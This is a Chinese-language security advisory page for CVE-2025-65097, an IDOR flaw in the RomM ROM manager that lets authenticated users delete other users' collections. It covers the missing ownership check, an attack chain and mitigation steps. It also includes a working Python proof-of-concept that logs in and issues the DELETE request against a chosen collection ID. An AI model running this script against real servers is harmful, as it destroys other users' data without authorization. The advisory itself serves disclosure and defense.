IPBUF安全漏洞报告
English
CVE-2025-65097 CVSS 6.5 中危

CVE-2025-65097 RomM 授权用户可删除其他用户集合的IDOR漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-65097
漏洞类型
访问控制/IDOR
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RomM (ROM Manager)

相关标签

IDOR访问控制RomM授权绕过集合删除CVE-2025-65097Web应用安全

漏洞概述

CVE-2025-65097是发现于RomM(一个开源的ROM管理器)中的一个中等严重性安全漏洞。该漏洞允许经过身份验证的低权限用户删除平台上其他用户的游戏集合。RomM是一个用于管理游戏 ROM 集合的 Web 应用程序,支持扫描、丰富、浏览和播放游戏收藏。在受影响的版本(4.4.1之前和4.4.1-beta.2之前的版本)中,由于应用程序在删除集合时缺乏正确的所有权验证机制,攻击者可以通过直接向集合删除端点发送恶意构造的DELETE请求来删除任意用户的集合。这一漏洞属于不安全的直接对象引用(IDOR)类型,攻击者只需知道目标集合的ID即可执行删除操作,无需获得任何额外的权限提升。CVSS 3.1评分6.5表明该漏洞对系统完整性有较高影响,可能导致用户数据丢失,但由于不需要用户交互且攻击复杂度较低,因此整体严重程度为中等。

技术细节

漏洞根源在于RomM的集合删除API端点缺少所有权验证逻辑。在受影响版本中,当用户发起DELETE请求到集合删除端点时,服务器仅验证请求者是否已登录,但未检查该用户是否拥有要删除的集合。具体来说,攻击流程如下:首先攻击者需要拥有一个有效的RomM账户并登录系统;然后攻击者需要获取目标用户集合的唯一标识符(ID),这可以通过浏览RomM界面或API枚举获得;最后攻击者直接向DELETE /api/collections/{collection_id}端点发送请求,即可成功删除不属于当前用户的集合。漏洞的技术问题在于服务端代码在处理删除请求时,直接使用请求中的collection_id参数执行数据库删除操作,而没有先查询该集合的owner_id并与当前用户ID进行比对验证。修复后的版本(4.4.1和4.4.1-beta.2)在删除操作前增加了所有权验证,确保用户只能删除自己拥有的集合。

攻击链分析

STEP 1
Reconnaissance
攻击者注册RomM账户并登录系统,获取有效的会话令牌
STEP 2
Target Identification
攻击者通过浏览RomM界面或API枚举获取目标用户集合的唯一标识符(collection_id)
STEP 3
Exploitation
攻击者直接向DELETE /api/collections/{collection_id}端点发送HTTP DELETE请求,由于缺少所有权验证,请求被服务器接受并执行
STEP 4
Impact
目标用户的游戏集合被永久删除,导致数据丢失和游戏库不完整

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65097 PoC - RomM IDOR Collection Deletion # Target: RomM < 4.4.1 and < 4.4.1-beta.2 TARGET_URL = "http://target-romm-server.com" # Replace with target URL TARGET_COLLECTION_ID = 123 # Replace with target collection ID to delete # Step 1: Login to get authentication token login_url = f"{TARGET_URL}/api/auth/login" credentials = { "username": "attacker_username", "password": "attacker_password" } session = requests.Session() login_response = session.post(login_url, json=credentials) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") exit(1) print("[+] Login successful") # Step 2: Delete victim user's collection via IDOR delete_url = f"{TARGET_URL}/api/collections/{TARGET_COLLECTION_ID}" print(f"[*] Attempting to delete collection ID: {TARGET_COLLECTION_ID}") delete_response = session.delete(delete_url) if delete_response.status_code in [200, 204]: print(f"[+] SUCCESS: Collection {TARGET_COLLECTION_ID} deleted!") print("[*] The collection belonging to another user has been removed.") else: print(f"[-] Failed to delete collection: {delete_response.status_code}") print(f"[-] Response: {delete_response.text}")

影响范围

RomM < 4.4.1
RomM < 4.4.1-beta.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制DELETE请求到集合端点,添加基于用户身份和资源所有权的访问控制验证。同时监控异常的集合删除活动日志,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表